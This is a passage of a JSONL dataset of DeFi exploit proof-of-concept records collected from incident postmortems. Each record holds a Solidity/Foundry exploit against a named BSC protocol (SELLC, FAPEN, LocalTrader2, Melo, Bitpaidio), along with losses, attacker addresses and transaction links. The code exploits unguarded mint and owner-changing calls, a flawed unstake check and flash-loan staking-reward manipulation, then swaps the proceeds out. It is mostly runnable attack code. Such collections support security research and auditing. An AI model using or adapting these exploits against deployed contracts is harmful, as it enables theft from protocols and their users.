StakingRewards.addLiquidity(address(this), address(MYTOKEN), 1e18); // add exploit contract address to listToken\n Factory.createPair(address(this), address(SellQILP));\n this.mint(1_000_000);\n this.approve(address(Router), type(uint256).max);\n SellQILP.approve(address(Router), type(uint256).max);\n Router.addLiquidity(\n address(this),\n address(SellQILP),\n 1_000_000,\n SellQILP.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n ); // add customLP Liquidity\n customLP = Uni_Pair_V2(Factory.getPair(address(this), address(SellQILP)));\n }\n\n function init2() internal {\n this.mint(type(uint256).max);\n this.transfer(address(0x000000000000000000000000000000000000dEaD), 1000);\n for (uint256 i; i < 10; i++) {\n uint256 SellQILPAmount = SellQILP.balanceOf(address(customLP));\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = address(SellQILP);\n uint256 swapAmountIn = Router.getAmountsIn(SellQILPAmount * 99 / 100, path)[0] * 2; // Calculate the amount needed to swap out the SellQILP in customLP\n StakingRewards.sell(address(this), address(SellQILP), swapAmountIn); // get SellQILP from StakingRewards\n Router.addLiquidity(\n address(this),\n address(SellQILP),\n 100 * 1e18,\n SellQILP.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n ); // add more SellQILP into customLP\n }\n }\n\n function process(\n uint256 amount\n ) internal {\n uint256 SellQILPAmount = SellQILP.balanceOf(address(customLP));\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = address(SellQILP);\n uint256 swapAmountIn = Router.getAmountsIn(SellQILPAmount * 99 / 100, path)[0] * 2; // Calculate the amount needed to swap out the SellQILP in customLP\n for (uint256 i; i < amount; i++) {\n StakingRewards.sell(address(this), address(SellQILP), swapAmountIn); // Get SellQILP from StakingRewards contract\n }\n SellQILP.transfer(address(SellQILP), SellQILP.balanceOf(address(this)));\n SellQILP.burn(address(this));\n SELLCToWBNB();\n }\n\n function SELLCToWBNB() internal {\n SELLC.approve(address(officalRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(SELLC);\n path[1] = address(WBNB);\n officalRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SELLC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n // ------------------- ERC20 interface ---------------------\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n return true;\n }\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n // totalSupply += amount;\n }\n\n function totalSupply() external view returns (uint256) {\n return 100;\n }\n}\n\ncontract SHITCOIN {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"SHIT COIN\";\n string public symbol = \"SHIT\";\n uint8 public decimals = 18;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n // allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}\n", "type": "exploit_poc", "protocol": "SELLC", "date": "2023-05", "file_name": "SELLC_exp.sol", "attack_vector": null, "content_hash": "ac97f71aab53cef9", "collected_at": "2026-01-07T10:59:16.521889", "_source": "postmortems", "chain": "bsc", "block_number": 28092673, "total_lost_raw": "~95K US$", "total_lost_usd": 95000.0, "attacker_address": "https://bscscan.com/address/0xc67af66b8a72d33dedd8179e1360631cf5169160", "attack_contract": "https://bscscan.com/address/0xf635fea87f0a8a444ede1dbb698d875dbb417829", "vulnerable_contract": "https://bscscan.com/address/0x274b3e185c9c8f4ddef79cb9a8dc0d94f73a7675", "attack_tx": "https://bscscan.com/tx/0x59ed06fd0d44aec351bed54f57eccec65874da5a25a0aa71e348611710ec05f3", "postmortem_url": null, "twitter_url": "https://twitter.com/AnciliaInc/status/1656337400329834496", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~95K US$", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(WBNB), address(this), 3 * 1e18);\n deal(address(QIQI), address(this), 3188 * 1e18);\n init();\n init2();\n process(23);\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~95K US$", "keyinfo_attacker": "https://bscscan.com/address/0xc67af66b8a72d33dedd8179e1360631cf5169160", "keyinfo_attack_contract": "https://bscscan.com/address/0xf635fea87f0a8a444ede1dbb698d875dbb417829", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x274b3e185c9c8f4ddef79cb9a8dc0d94f73a7675", "keyinfo_attack_tx": "https://bscscan.com/tx/0x59ed06fd0d44aec351bed54f57eccec65874da5a25a0aa71e348611710ec05f3", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/AnciliaInc/status/1656337400329834496", "funds_lost_formatted": "$95.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "SELLC Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~600 USD$\n// Vulnerable contract address: https://bscscan.com/address/0xf3f1abae8bfeca054b330c379794a7bf84988228\n\n// @Info\n// Vulnerable contract code: https://bscscan.com/address/0xf3f1abae8bfeca054b330c379794a7bf84988228#code\n// Vulnerability: Wrong balance check in unstake function\n\n// @Analysis - https://twitter.com/hexagate_/status/1663501550600302601\n\ninterface IFAPEN is IERC20 {\n function unstake(\n uint256 amount\n ) external;\n}\n\ncontract ContractTest is Test {\n IFAPEN FAPEN = IFAPEN(0xf3F1aBae8BfeCA054B330C379794A7bf84988228);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_637_846);\n cheats.label(address(FAPEN), \"FAPEN\");\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(address(Router), \"Router\");\n }\n\n function testUnstake() public {\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Amount of BNB before attack\", address(this).balance, 18);\n // Vulnerability lies in unstake function. Bad logic in balance check\n FAPEN.unstake(FAPEN.balanceOf(address(FAPEN)));\n FAPEN.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(FAPEN);\n path[1] = address(WBNB);\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n FAPEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"Amount of BNB after attack\", address(this).balance, 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "FAPEN", "date": "2023-05", "file_name": "FAPEN_exp.sol", "attack_vector": null, "content_hash": "d58c00b08523240c", "collected_at": "2026-01-07T10:59:16.521958", "_source": "postmortems", "chain": "bsc", "block_number": 28637846, "total_lost_raw": "~600 USD$", "total_lost_usd": 600.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~600 USD$", "category": "unknown", "exploit_code": "function testUnstake() public {\n deal(address(this), 0);\n emit log_named_decimal_uint(\"Amount of BNB before attack\", address(this).balance, 18);\n // Vulnerability lies in unstake function. Bad logic in balance check\n FAPEN.unstake(FAPEN.balanceOf(address(FAPEN)));\n FAPEN.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(FAPEN);\n path[1] = address(WBNB);\n Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n FAPEN.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\"Amount of BNB after attack\", address(this).balance, 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~600 USD$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$600", "content_richness_score": 4.97, "quality_estimate": "low", "title": "FAPEN Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @TX's:\n// 1. https://bscscan.com/tx/0x57b589f631f8ff20e2a89a649c4ec2e35be72eaecf155fdfde981c0fec2be5ba\n// 2. https://bscscan.com/tx/0xbea605b238c85aabe5edc636219155d8c4879d6b05c48091cf1f7286bd4702ba\n// 3. https://bscscan.com/tx/0x49a3038622bf6dc3672b1b7366382a2c513d713e06cb7c91ebb8e256ee300dfb\n// 4. https://bscscan.com/tx/0x042b8dc879fa193acc79f55a02c08f276eaf1c4f7c66a33811fce2a4507cea63\n\n// @Summary: Inproper access controll\n// @Analysis: https://twitter.com/numencyber/status/1661213691893944320\n\ninterface ILCTExchange {\n function buyTokens() external payable;\n}\n\ncontract LocalTraders is Test {\n ILCTExchange LCTExchange = ILCTExchange(0xcE3e12bD77DD54E20a18cB1B94667F3E697bea06);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IERC20 LCT = IERC20(0x5C65BAdf7F97345B7B92776b22255c973234EfE7);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n address public upgradeableProxy = 0x303554d4D8Bd01f18C6fA4A8df3FF57A96071a41;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_460_897);\n cheats.label(address(LCTExchange), \"LCTExchange\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(LCT), \"LCT\");\n cheats.label(address(WBNB), \"WBNB\");\n cheats.label(upgradeableProxy, \"Proxy\");\n }\n\n function testAccess() public {\n // 1.Changing owner address in vulnerable contract\n\n emit log_named_decimal_uint(\n \"[1] Attacker amount of WBNB before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n address addrInSlot0Before = getValFromSlot0();\n emit log_named_address(\"[1] Address value in slot 0 before first call\", addrInSlot0Before);\n\n // Changing address value in slot 0 (changing owner)\n address paramForCall1 = 0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE;\n upgradeableProxy.call(abi.encodeWithSelector(0xb5863c10, paramForCall1));\n\n address addrInSlot0After = getValFromSlot0();\n // Confirm address change in slot 0\n assertEq(addrInSlot0After, paramForCall1);\n emit log_named_address(\"[1] Address value in slot 0 after first call\", addrInSlot0After);\n\n // 2.Changing token price in vulnerable contract\n\n cheats.roll(28_460_898);\n uint256 uintInSlot3Before = getValFromSlot3();\n emit log_named_uint(\"[2] Uint value (token price) in slot 3 before second call\", uintInSlot3Before);\n\n // Changing uint value in slot 3 (token price)\n uint256 paramForCall2 = 1;\n upgradeableProxy.call(abi.encodeWithSelector(0x925d400c, paramForCall2));\n\n uint256 uintInSlot3After = getValFromSlot3();\n // Confirm price change in slot 3\n assertEq(uintInSlot3After, paramForCall2);\n emit log_named_uint(\"[2] Uint value (token price) in slot 3 after second call\", uintInSlot3After);\n\n // 3.Buying LCT\n\n cheats.roll(28_460_899);\n uint256 payableAmount = (LCT.balanceOf(address(LCTExchange)) / 1 ether) - 1;\n\n LCTExchange.buyTokens{value: payableAmount}();\n\n emit log_named_decimal_uint(\"[3] Bought LCT tokens\", LCT.balanceOf(address(this)), LCT.decimals());\n\n // 4.Swap to WBNB\n\n cheats.roll(28_461_207);\n LCT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(LCT);\n path[1] = address(WBNB);\n // Func swapExactTokensForETHSupportingFeeOnTransferTokens() can be used for directly swap to BNB (instead of below function)\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n LCT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\n \"[4] Attacker amount of WBNB after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function getValFromSlot0() internal returns (address) {\n bytes32 valInslot0 = cheats.load(upgradeableProxy, bytes32(uint256(0)));\n return address(uint160(uint256(valInslot0)));\n }\n\n function getValFromSlot3() internal returns (uint256) {\n bytes32 valInslot3 = cheats.load(upgradeableProxy, bytes32(uint256(3)));\n return uint256(valInslot3);\n }\n}\n", "type": "exploit_poc", "protocol": "LocalTrader2", "date": "2023-05", "file_name": "LocalTrader2_exp.sol", "attack_vector": "access_control", "content_hash": "e488b4a67434ff4c", "collected_at": "2026-01-07T10:59:16.522005", "_source": "postmortems", "chain": "bsc", "block_number": 28460897, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "access-control", "exploit_code": "function testAccess() public {\n // 1.Changing owner address in vulnerable contract\n\n emit log_named_decimal_uint(\n \"[1] Attacker amount of WBNB before attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n address addrInSlot0Before = getValFromSlot0();\n emit log_named_address(\"[1] Address value in slot 0 before first call\", addrInSlot0Before);\n\n // Changing address value in slot 0 (changing owner)\n address paramForCall1 = 0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE;\n upgradeableProxy.call(abi.encodeWithSelector(0xb5863c10, paramForCall1));\n\n address addrInSlot0After = getValFromSlot0();\n // Confirm address change in slot 0\n assertEq(addrInSlot0After, paramForCall1);\n emit log_named_address(\"[1] Address value in slot 0 after first call\", addrInSlot0After);\n\n // 2.Changing token price in vulnerable contract\n\n cheats.roll(28_460_898);\n uint256 uintInSlot3Before = getValFromSlot3();\n emit log_named_uint(\"[2] Uint value (token price) in slot 3 before second call\", uintInSlot3Before);\n\n // Changing uint value in slot 3 (token price)\n uint256 paramForCall2 = 1;\n upgradeableProxy.call(abi.encodeWithSelector(0x925d400c, paramForCall2));\n\n uint256 uintInSlot3After = getValFromSlot3();\n // Confirm price change in slot 3\n assertEq(uintInSlot3After, paramForCall2);\n emit log_named_uint(\"[2] Uint value (token price) in slot 3 after second call\", uintInSlot3After);\n\n // 3.Buying LCT\n\n cheats.roll(28_460_899);\n uint256 payableAmount = (LCT.balanceOf(address(LCTExchange)) / 1 ether) - 1;\n\n LCTExchange.buyTokens{value: payableAmount}();\n\n emit log_named_decimal_uint(\"[3] Bought LCT tokens\", LCT.balanceOf(address(this)), LCT.decimals());\n\n // 4.Swap to WBNB\n\n cheats.roll(28_461_207);\n LCT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(LCT);\n path[1] = address(WBNB);\n // Func swapExactTokensForETHSupportingFeeOnTransferTokens() can be used for directly swap to BNB (instead of below function)\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n LCT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n emit log_named_decimal_uint(\n \"[4] Attacker amount of WBNB after attack\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.25, "quality_estimate": "medium", "title": "LocalTrader2 Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1654667621139349505\n// @TX\n// https://bscscan.com/tx/0x3f1973fe56de5ecd59a815d3b14741cf48385903b0ccfe248f7f10c2765061f7\n// @Summary\n// critical function lack of access control\n\ninterface IMEL is IERC20 {\n function mint(address account, uint256 amount, string memory txId) external returns (bool);\n}\n\ncontract ContractTest is Test {\n IMEL MEL = IMEL(0x9A1aEF8C9ADA4224aD774aFdaC07C24955C92a54);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x6a8C4448763C08aDEb80ADEbF7A29b9477Fa0628);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 27_960_445);\n }\n\n function testExploit() external {\n uint256 mintAmount = MEL.balanceOf(address(Pair)) * 50;\n MEL.mint(address(this), mintAmount, \"\");\n MEL.approve(address(Router), mintAmount);\n address[] memory path = new address[](2);\n path[0] = address(MEL);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n mintAmount, 0, path, address(this), block.timestamp\n );\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Melo", "date": "2023-05", "file_name": "Melo_exp.sol", "attack_vector": "access_control", "content_hash": "d3d8ee6ed1984e9f", "collected_at": "2026-01-07T10:59:16.522056", "_source": "postmortems", "chain": "bsc", "block_number": 27960445, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "access-control", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.8, "quality_estimate": "low", "title": "Melo Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~30K US$\n// Attacker : https://bscscan.com/address/0x878a36edfb757e8640ff78b612f839b63adc2e51\n// Attack Contract : https://bscscan.com/address/0x7b9265c6aa4b026b7220eee2e8697bf5ffa6bb9a\n// Vulnerable Contract : https://bscscan.com/address/0x9d6d817ea5d4a69ff4c4509bea8f9b2534cec108\n// Attack Tx : https://bscscan.com/tx/0x1ae499ccf292a2ee5e550702b81a4a7f65cd03af2c604e2d401d52786f459ba6\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x9d6d817ea5d4a69ff4c4509bea8f9b2534cec108#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1657411284076478465\n\ninterface IStaking {\n function Lock_Token(uint256 plan, uint256 _amount) external;\n function withdraw(\n uint256 _plan\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 BTP = IERC20(0x40F75eD09c7Bc89Bf596cE0fF6FB2ff8D02aC019);\n IStaking Staking = IStaking(0x9D6d817ea5d4A69fF4C4509bea8F9b2534Cec108);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0x858DE6F832c9b92E2EA5C18582551ccd6add0295);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n uint256 flashAmount = 219_349 * 1e18;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_176_675);\n }\n\n function testExploit() public {\n firstLock();\n\n cheats.warp(block.timestamp + 6 * 30 * 24 * 60 * 60 + 1000); // lock 6 month\n\n Pair.swap(flashAmount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker BTP balance after exploit\", BTP.balanceOf(address(this)), BTP.decimals());\n }\n\n function firstLock() internal {\n Staking.Lock_Token(1, 0);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n BTP.approve(address(Staking), type(uint256).max);\n Staking.Lock_Token(1, BTP.balanceOf(address(this)));\n Staking.withdraw(1);\n BTP.transfer(msg.sender, flashAmount * 10_000 / 9975 + 1000);\n }\n}\n", "type": "exploit_poc", "protocol": "Bitpaidio", "date": "2023-05", "file_name": "Bitpaidio_exp.sol", "attack_vector": null, "content_hash": "0fc3b47564f2a960", "collected_at": "2026-01-07T10:59:16.522094", "_source": "postmortems", "chain": "bsc", "block_number": 28176675, "total_lost_raw": "~30K US$", "total_lost_usd": 30000.0, "attacker_address": "https://bscscan.com/address/0x878a36edfb757e8640ff78b612f839b63adc2e51", "attack_contract": "https://bscscan.com/address/0x7b9265c6aa4b026b7220eee2e8697bf5ffa6bb9a", "vulnerable_contract": "https://bscscan.com/address/0x9d6d817ea5d4a69ff4c4509bea8f9b2534cec108", "attack_tx": "https://bscscan.com/tx/0x1ae499ccf292a2ee5e550702b81a4a7f65cd03af2c604e2d401d52786f459ba6", "postmortem_url": null, "twitter_url": "https://twitter.com/BlockSecTeam/status/1657411284076478465", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~30K US$", "category": "unknown", "exploit_code": "function testExploit() public {\n firstLock();\n\n cheats.warp(block.timestamp + 6 * 30 * 24 * 60 * 60 + 1000); // lock 6 month\n\n Pair.swap(flashAmount, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"Attacker BTP balance after exploit\", BTP.balanceOf(address(this)), BTP.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "~30K US$", "keyinfo_attacker": "https://bscscan.com/address/0x878a36edfb757e8640ff78b612f839b63adc2e51", "keyinfo_attack_contract": "https://bscscan.com/address/0x7b9265c6aa4b026b7220eee2e8697bf5ffa6bb9a", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x9d6d817ea5d4a69ff4c4509bea8f9b2534cec108", "keyinfo_attack_tx": "https://bscscan.com/tx/0x1ae499ccf292a2ee5e550702b81a4a7f65cd03af2c604e2d401d52786f459ba6", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/BlockSecTeam/status/1657411284076478465", "funds_lost_formatted": "$30.0K", "content_richness_score": 7.06, "quality_estimate": "medium", "title": "Bitpaidio Exploit (2023-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : unclear US$\n// Attacker : https://bscscan.com/address/0xa3aa817587556c023e78b2285d381c68cee17069\n// Attack Contract : https://bscscan.com/address/0x9a366027e6be5ae8441c9f54455e1d6c41f12e3c\n// Attack Contract : https://bscscan.com/address/0xc2f54422c995f6c2935bc52b0f55a03c2f3e429c\n// Vulnerable Contract : https://bscscan.com/address/0xeaf83465025b4bf9020fdf9ea5fb6e71dc8a0779\n// Attack Tx : https://bscscan.com/tx/0xfe80df5d689137810df01e83b4bb51409f13c865e37b23059ecc6b3d32347136\n// Attack Tx : https://bscscan.com/tx/0x8a453c61f0024e8e11860729083088507a02a38100da8b0c3b2d558788662fa0\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xeaf83465025b4bf9020fdf9ea5fb6e71dc8a0779#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/BlockSecTeam/status/1657715018908180480\n\ninterface IStakingRewards {\n function stake(address token, address token1, address token2, address up, uint256 amount) external;\n function claim(address token, address token1) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);\n IERC20 QIQI = IERC20(0x0B464d2C36d52bbbf3071B2b0FcA82032DCf656d);\n Uni_Pair_V3 Pair = Uni_Pair_V3(0x4B1aC1E4B828EBC81FcaC587BEf64e4aDd1dBCEc);\n Uni_Router_V2 Router = Uni_Router_V2(0xBDDFA43dbBfb5120738C922fa0212ef1E4a0850B);\n IUniswapV2Factory Factory = IUniswapV2Factory(0x2c37655f8D942f2411d9d85a5FE580C156305070);\n IStakingRewards StakingRewards = IStakingRewards(0xeaF83465025b4Bf9020fdF9ea5fB6e71dC8a0779);\n TOKENA TokenA;\n Exploiter exploiter;\n Uni_Pair_V2 pair;\n address[] expoiterList;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_187_317);\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(QIQI), \"QIQI\");\n cheats.label(address(SELLC), \"SELLC\");\n cheats.label(address(Pair), \"Pair\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Factory), \"Factory\");\n cheats.label(address(StakingRewards), \"StakingRewards\");\n }\n\n function testExploit() public {\n deal(address(USDT), address(this), 1000 * 1e18);\n stakeFactory(10);\n\n cheats.warp(block.timestamp + 60 * 60);\n\n TokenA = new TOKENA();\n TokenA.mint(100);\n Pair.flash(address(this), 10_000 * 1e18, 0, new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker QIQI balance after exploit\", QIQI.balanceOf(address(this)), QIQI.decimals()\n );\n }\n\n function stakeFactory(\n uint256 amount\n ) internal {\n address account;\n for (uint256 i; i < amount; i++) {\n exploiter = new Exploiter();\n expoiterList.push(address(exploiter));\n USDT.transfer(address(exploiter), 100 * 1e18);\n if (i == 0) {\n account = address(0xa3aa817587556C023e78B2285D381C68CEe17069);\n } else {\n account = expoiterList[i - 1];\n }\n exploiter.stake(account);\n }\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n QIQI.approve(address(Router), QIQI.balanceOf(address(this)));\n TokenA.approve(address(Router), TokenA.balanceOf(address(this)));\n Router.addLiquidity(\n address(QIQI),\n address(TokenA),\n QIQI.balanceOf(address(this)),\n TokenA.balanceOf(address(this)),\n 0,\n 0,\n address(this),\n block.timestamp\n );\n claimFactory(10);\n pair = Uni_Pair_V2(Factory.getPair(address(QIQI), address(TokenA)));\n pair.approve(address(Router), pair.balanceOf(address(this)));\n Router.removeLiquidity(\n address(QIQI), address(TokenA), pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp\n );\n QIQI.transfer(address(Pair), 10_100 * 1e18);\n }\n\n function claimFactory(\n uint256 amount\n ) internal {\n for (uint256 i; i < amount; i++) {\n exploiter = Exploiter(expoiterList[i]);\n exploiter.claim(address(TokenA));\n }\n }\n}\n\ncontract Exploiter {\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SELLC = IERC20(0xa645995e9801F2ca6e2361eDF4c2A138362BADe4);\n IERC20 QIQI = IERC20(0x0B464d2C36d52bbbf3071B2b0FcA82032DCf656d);\n IStakingRewards StakingRewards = IStakingRewards(0xeaF83465025b4Bf9020fdF9ea5fB6e71dC8a0779);\n\n function stake(\n address account\n ) external {\n USDT.approve(address(StakingRewards), USDT.balanceOf(address(this)));\n StakingRewards.stake(address(QIQI), address(SELLC), address(USDT), account, USDT.balanceOf(address(this)));\n }\n\n function claim(\n address _recipient\n ) external {\n StakingRewards.claim(address(QIQI), _recipient);\n QIQI.transfer(msg.sender, QIQI.balanceOf(address(this)));\n }\n}\n\ncontract TOKENA {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"TokenA\";\n string public symbol = \"TokenA\";\n uint8 public decimals = 18;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n 